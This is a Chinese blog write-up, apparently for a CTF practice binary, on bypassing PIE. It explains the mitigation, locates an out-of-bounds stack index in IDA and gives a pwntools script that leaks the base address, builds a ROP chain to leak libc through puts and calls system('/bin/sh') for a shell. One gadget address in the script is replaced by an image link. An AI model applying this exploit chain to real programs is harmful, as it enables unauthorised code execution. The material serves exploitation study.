目标程序下载
提取码:qk1y

1.检查程序开启了哪些安全保护机制

pie的绕过方式 随笔 第1张

SRE实战 互联网时代守护先锋,助力企业售后服务体系运筹帷幄!一键直达领取阿里云限量特价优惠。

pie机制简介

PIE(position-independent executable) 是一个针对代码段.text, 数据段.*data,.bss等固定地址的一个防护技术。同ASLR一样,应用了PIE的程序会在每次加载时都变换加载基址

pie机制怎么绕过

虽然程序每次运行的基址会变,但程序中的各段的相对偏移是不会变的,只要泄露出来一个地址,比如函数栈帧中的返回地址
,通过ida静态的看他的程序地址,就能算出基址,从而实现绕过

2.在IDA中查找码漏洞与可以被我们利用的位置

pie的绕过方式 随笔 第2张

从这里可以看到 v1被当做v4的下标,v1还是可控的,这样就可以实现栈上的任意位置读写

首先,我们感兴趣的肯定是这个函数的返回地址,正常来说,是返回这里的

pie的绕过方式 随笔 第3张

用汇编看下地址

pie的绕过方式 随笔 第4张

正常来说B35这个函数返回后应该是0xb11这个位置,如果拿到了程序运行时的b35函数的返回地址

然后把他减去0xb11,就是这次程序运行的基地址了

只不过这个程序有些麻烦,还要一个字节一个字节的输入,scanf 中的 %d 格式输入

#!/usr/bin/env python
#coding:utf-8

from pwn import * 
#context.log_level = "debug"  
context.arch="amd64"
context.terminal = ['tmux','splitw','-h']


p = process("./pwn")
#p = remote("xxx.xxx.xxx.xxx",xxxx)

elf = ELF("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")


def getOffset(ret): 
    p.sendlineafter("input index\n",str(1))         #--------------------
    p.recvline()                                        # garbage
    p.sendlineafter("input new value\n",str(1))     #--------------------
        
    rip=''
    for i in range(8):
        p.sendlineafter("input index\n",str(ret+i))
        rip=p.recvline()[-3:-1]+rip
        p.sendlineafter("input new value\n",'15')
    
    temp='0x'
    for i in range(16): 
        if rip[i]==' ':
            temp+='0'
        else:
            temp+=rip[i]
            
    rip=int(temp,16)
    return rip-0xb11

  
def nail(ret,hex_payload):
    payload=hex(hex_payload)[2:]
    payload=(16-len(payload))*'0'+payload
    p.sendlineafter("input index\n",str(ret))
    p.recvline()
    p.sendlineafter("input new value\n",str(int('0x'+payload[-2:],16)))
    for i in range(7):
        p.sendlineafter("input index\n",str(ret+i+1))
        p.recvline()
        p.sendlineafter("input new value\n",str(int('0x'+payload[-(i+2)*2:-(i+1)*2],16))) 
        
        
rip=0x158    #v4到返回地址的距离
p.sendlineafter("input your name \nname:","hack")
offset=getOffset(rip)        

puts_plt=elf.plt["puts"]+offset
puts_got=elf.got["puts"]+offset    
funaddr=offset+0xb35
pop_ret=offset+![](https://img2018.cnblogs.com/blog/1592252/201904/1592252-20190423235239816-121256018.png)


nail(rip,pop_ret)       
nail(rip+8,puts_got)    
nail(rip+16,puts_plt) 
nail(rip+24,funaddr)        

p.sendlineafter("do you want continue(yes/no)? \n","yes")   

puts_addr = u64(p.recv(6).ljust(8,"\x00"))       # = 0x7fbd6271e690
log.success("puts addr:"+hex(puts_addr))
libc.address = puts_addr - libc.symbols["puts"]
log.success("libc addr:"+hex(libc.address))
system = libc.symbols["system"]
log.success("system:"+hex(system))


nail(rip,system)#The '/bin/sh' are already on the rdi
nail(1,1)     
nail(1,1)
nail(1,1)
getOffset(1)

#gdb.attach(p)  

p.sendlineafter("do you want continue(yes/no)? \n","/bin/sh")
p.interactive()
成功获得了shell

pie的绕过方式 随笔 第5张

扫码关注我们
微信号:SRE实战
拒绝背锅 运筹帷幄